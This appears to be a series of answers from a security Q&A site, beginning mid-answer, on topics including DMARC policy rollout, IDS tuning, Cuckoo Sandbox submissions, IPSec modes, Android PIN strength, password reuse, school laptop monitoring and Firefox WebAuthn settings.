This sets the policy to quarantine but only for 10% of the emails each receiver gets (the rest are p=none). As you get error reports (and user feedback), you slowly increase the pct to 100, then switch to

p=reject pct=10

and slowly ramp that up.


Is my session schema vulnerable to session fixation?

If your CMS is creating the session, don't create another one. If you use session_start() somewhere on your custom code, you will use the same session your CMS created.

Don't create another another wheel to replace the professional wheel you already have.


It all depends on how much traffic you're attempting to monitor, but the most important factor of all your actual configuration.

There is a few actions you can do to enhance performance of your setup

Limit the scope of traffic to be monitored.
Optimize your Snort/Suricata configuration. Suricata will probably not give you much extras since it's multi-threaded and you only have one CPU core.
As you mentioned yourself, amount of rules implemented in your sensor have a strong performance impact. I'm not aware of any limited ruleset, but you can disable unnecessary rules yourself. There's plenty of different ruleset manager such as Polman, PulledPork. These are fairly old, and there might be more useful software/helpers for these tasks available.
OS level optimizations

I agree with above comments, that you want more RAM, CPU cores, strong NICs (at least two), and potentially even GPUs to get the most of your sensor setup.


How can I send a file with DLL to Cuckoo Sandbox?

Cuckoo creates a folder with a randomly generated name (So it changes every time you run a new analysis) in the root of C:\ which it uses to store the submitted file, among other things.

What you could probably do is create a zip file containing both your executable and your DLL file, then submit that zip to Cuckoo. When the analysis is run Cuckoo's zip package will unzip the archive containing both files into the same directory, then run the first executable it finds from that zip.

I think that should do the trick.


Full Disk Encryption vs Storage Encryption

Full disk encryption allows all the files on the disk to be encrypted, including the Operating System. This means a decryption key is needed to unlock the drive and then all the files can be accessed.

Storage encryption is used for file level encryption, commonly when the file is to be backed up and stored. In this case to access the file a piece of software is commonly used to allow the encryption and decryption of the files within the OS.


What is the difference between tunnel mode and transport mode in IPSec?

Without IKE NAT Traversal
If you tunnel it is possible to get through the NAT with an outer header that is modified but dropped during decapsulation. The inner header remains exactly the same as it was when encapsulated and was protected by ESP. This is described in rfc 3715 4.1.
If you use transport mode, you want to use the same IP header as NAT has modified. This is not possible while checking the integrity as this is a violation of integrity as defined for AH.
With IKE NAT Traversal
If Traversal is configured, traffic appears to be on UDP ports (500 or 4500).
The traversal manages transport's header integrity problem by substituting back the original IPs. Consequently, both modes should seem much the same, but tunnel has size overhead of keeping a real header and transport has more manipulation to reconstruct a header, so more potential for integrity check failures.
As an example, an unusual IP option can be neatly handled in a way that is hidden from the NAT in tunnel mode, while it may cause compatibility issues being on the packet being routed.


Is it safe to use a 4-digit PIN for Android system encryption?

How secure this is will depend on a number of factors.

Do you have device wipe enabled on incorrect guesses.  Assuming that you have the device set to wipe after 10 incorrect PIN guesses then without any clues and a purely random PIN, an attacker has a 1/1000 shot at guessing it.  Of course most users base PINs on things like dates or years which cuts the keyspace down a bit.
For offline brute-force, it depends on how the encryption is implemented.  If it's purely software (as older android versions are) then obviously there's a risk that if the attacker can dump the filesystem they can brute-force the key. In newer Android devices, there is a hardware element which stores part of the encryption key, making that basic offline attack impractical, without further weaknesses.

In general I'd recommend upping the PIN length to at least 6 numeric characters and don't choose something obvious (like a date of birth).  If you're very concerned about security consider using an alpha-numeric password (although this is generally horrible from a usuability perspective) and / or make sure your device implements the encryption in hardware to reduce the risk of offline attacks.


XSS: alert() not executed on different OS/computer

I'd be tempted to put a proxy between the server and the client and compare the output of the request byte for byte. That should rule out server differences due to browser headers in the request etc. and will narrow it down to local differences. You could then also capture the output in the proxy and load it into each of the browsers on each machine (as a replay of the response, not just loaded as a file i.e. trap the send/response and replace the response) and see the results - this would rule out network filtering between local reception of the responses and passing to the browser for rendering. You'll then know where in the chain the difference might be.


You are right that hash collisions are a thing, but it is not at all relevant to your situation. Collissions in a good hash function should be so rare that there are no single case of them known to humanity. So the probability that there exists two passwords on any brutforcers list that both give the same hash is very, very, very small.

So, someone knows your password. I can only assume one site where you used it was hacked, and attackers are now trying your password on accounts on other sites. The chanses are high that your accounts using this password without 2FA have already been breached. This is why you should not reuse passwords!

What to do then? You need to change your password on each single site where you have used this one, and you need to change them to unique and strong ones. No more reuse. This would be a great time to start using a password manager to help you remember all these new passwords you will need.


i have a school laptop can the school see my history if i use a vpn?

The only thing that the VPN does is connect you to the school's network through the internet.  If there is software on the laptop that reports your searches, the network connection will not change that.  That software may not report until you connect via the VPN, but even if that's the case it will report when you connect to the school's network.

Without knowing what software is on the laptop and the parameters that are set for it, the question is difficult to answer.  So I'll make some assumptions.  Assuming that there is software on the laptop that monitors on and reports your search history at all times, then the answer is yes, the school will be able to find out what you search.  If there isn't some kind of monitoring software or the monitoring software is not set to monitor searches, then the answer is no, but not due to the presence of your VPN.

Generally assume that no reasonable expectation of privacy exists on a computer that you did not pay for.  In other words, if you don't own it, assume that the owner can and will see everything you do on it.


Webauthn configuration differences in Firefox

As far as I understand it (with help from agl's blog post):

security.webauth.u2f controls the original FIDO U2F API introduced by Chrome.
security.webauth.webauthn controls the now-standard W3C WebAuthentication API.

They both let you talk to existing U2F (CTAP1) devices, but using different JavaScript functions. Webpages written for Chrome's "extension" API won't automagically know how to use WebAuthn, and vice versa.

That's the whole idea behind Dropbox's blog post: they had U2F key support for a long time already, but at first it only supported Chrome's API. Now it knows both APIs and detects which is available.

And for the devices themselves:

security.webauth.webauthn_enable_usbtoken controls access to real U2F keys via USB HID.
security.webauth.webauthn_enable_softtoken makes the browser emulate a U2F device, for development purposes (and probably without any security guarantees).